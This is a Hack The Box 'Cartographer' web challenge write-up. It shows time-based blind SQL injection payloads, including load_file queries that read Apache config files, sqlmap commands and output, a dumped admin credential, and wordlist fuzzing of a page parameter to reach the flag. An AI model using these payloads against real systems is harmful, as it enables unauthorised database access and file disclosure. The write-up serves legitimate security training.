Hack The Box / Challenges / Web / Cartographer
First thing I did was to run a dirb and gobuster using SecList common
and quickhits
lists. Nothing fancy has shown.
I thought could this be a SQL injection? To speed up this testing I decided to use sqlmap
.
I usually make some SQLi quick tests but this time they didn’t work so I decided to go for sqlmap
.
The sqlmap
did in fact found that username
is prone to blind SQL injection.
Here’s an example query:
UYOE' AND (SELECT 1343 FROM (SELECT(SLEEP(5)))Iyjr) AND 'XMJK'='XMJK
Listing the current DB user privileges, we see it is root:
[*] %root% (administrator) [28]:
privilege: ALTER
privilege: ALTER ROUTINE
privilege: CREATE
privilege: CREATE ROUTINE
privilege: CREATE TABLESPACE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE USER
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EVENT
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: TRIGGER
privilege: UPDATE
(select case when
(select ascii(substring(jwt,%d,1)) from xxx as jwt) = %d
then '0' else
(select table_name from information_schema.tables) end);
I took this chance to try some SQL injection polyglots. The three ones from
select
substr(
load_file("/etc/apache2/sites-available/000-default.conf") as f),
instr(
(select load_file("/etc/apache2/sites-available/000-default.conf") as f),
'DocumentRoot'
) + length("DocumentRoot") )
, 10);
select name from users where name='UYOE' AND (select case when substr((select substr((select load_file("/etc/apache2/sites-available/000-default.conf") as f), instr((select load_file("/etc/apache2/sites-available/000-default.conf") as f),'DocumentRoot') + length("DocumentRoot "), 15)),1,1) = '/' then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';
select name from users where name='UYOE' AND (select case when (select instr((select load_file("/etc/apache2/sites-available/000-default.conf") as f),'DocumentRoot')) > 1 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';
To test if a file exists:
select name from users where name='UYOE' OR (select case when (select length((select load_file("/var/www/html/index.html") as f))) > 0 then (select sleep(2)) else '0' end) = 123 OR 'XMJK'='12';
select name from users where name='UYOE' AND (select case when (select length((select load_file("/etc/apache2/sites-available/000-default.conf") as f))) > 0 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';
To test the non-existence of file:
select name from users where name='UYOE' AND (select case when (select length((select load_file("/etc/apache2/sites-available/a_bad_file") as f))) > 0 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';
select name from users where name='UYOE' AND (select case when (select instr((select load_file("/etc/apache2/apache2.conf") as f),'#')) > 0 then (select sleep(3)) else '0' end) AND 'XMJK'='XMJK';
Using sqlmap we can dump the users table:
Database: cartographer
Table: users
[1 entry]
+----------+------------------------------+
| username | password |
+----------+------------------------------+
| admin | mypasswordisfuckinawesome123 |
+----------+------------------------------+
If we use this username and password, the reply is a 302:
HTTP/1.1 302 Found
Date: Thu, 26 Sep 2019 20:24:37 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: panel.php?info=home
Content-Length: 673
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Cartographer - Login</title>
<link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body>
<div class="content-container">
<div class="blur"></div>
</div>
<div class="loginform">
<center>
<img src="logo.png" /><br><br>
<form method="post">
<input class="textbox" type="text" name="username" placeholder="Username"><br><br>
<input class="textbox" type="password" name="password" placeholder="Password"><br><br>
<input class="loginbutton" type="submit" value="Login">
</form>
</center>
</div>
</body>
</html>
With the index.php
content, which is the login form. Then if we see panel.php?info=home
is the destination of the redirect. The content is:
HTTP/1.1 200 OK
Date: Thu, 26 Sep 2019 20:24:37 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 408
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Cartographer - Panel</title>
<link rel='stylesheet' href='style.css' type='text/css' />
</head>
<body>
<div class="content-container">
<div class="blur"></div>
</div>
<div class="loginform">
<center>
<img src="logo.png" /><br><br>
<br>Cartographer<br>Is Still<br>Under Construction! </center>
</div>
</body>
</html>
Basically the child elements below loginform
div, are replaced with some content.
I knew that we could use MySQL to dump file system stuff, so I tried that way. After many trial and error, I started to doubt of this path. Basically testing in a local replica it would work, but not in this challenge. Something was different.
After some trial-and-error and searching, I came across this post (while sarching for “mysql load_file not working”) which talks about secure_file_priv
variable.
If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server will not create it.
OK.. this could be the problem! Actually using sqlmap to get this variable value:
$ python2 sqlmap.py -u http://docker.hackthebox.eu:47304/ --forms --sql-query='@@secure_file_priv'
...
[00:50:04] [INFO] adjusting time delay to 1 second due to good response times
/var/lib/mysql-files/
@@secure_file_priv: '/var/lib/mysql-files/'
...
That is why we were being able to get any file from the file system. Now, what files are inside this folder? can we find any of the php content there? I couldn’t find a way to enumerate files using MySQL. First thing I tried was to change this variable, but that isn’t possible since it is not a “dynamic” variable that can be changed at runtime. This looked to be a dead-end. Decided to go back to the URL redirect.
URL Redirect Parameter Fuzzing
If we try to play with the info parameter we get a pretty “Not found!” message. This makes us think that this php parameter actually loads content from the file system.
After trying some LFI dictionaries that play around with relative path (Burp and [2]) I decided to try word lists. I looked for a dictionary of the most similar type, that is, like a file name. The SecLists have one file named raft-small-words.txt
which seems adequate. First thing I do is to look for the valid word there home
, we can find it and some variations of it. So this looks it worths a try.
I used burp intruder but one could easily code a python for that bruteforce. After a few seconds I sorted the results table by length of the responses, and we could find:
0 200 709
140 home 200 709
1215 flag 200 685
1 .php 200 676
2 cgi-bin 200 676
...
Basically 709 is the reply with “Under construction”, 676 is “Not found” and… flag is our flag!
<div class="loginform">
<center>
<img src="logo.png" /><br><br>
<br><br>HTB{Map_Th3_Pl4n3t} </center>
</div>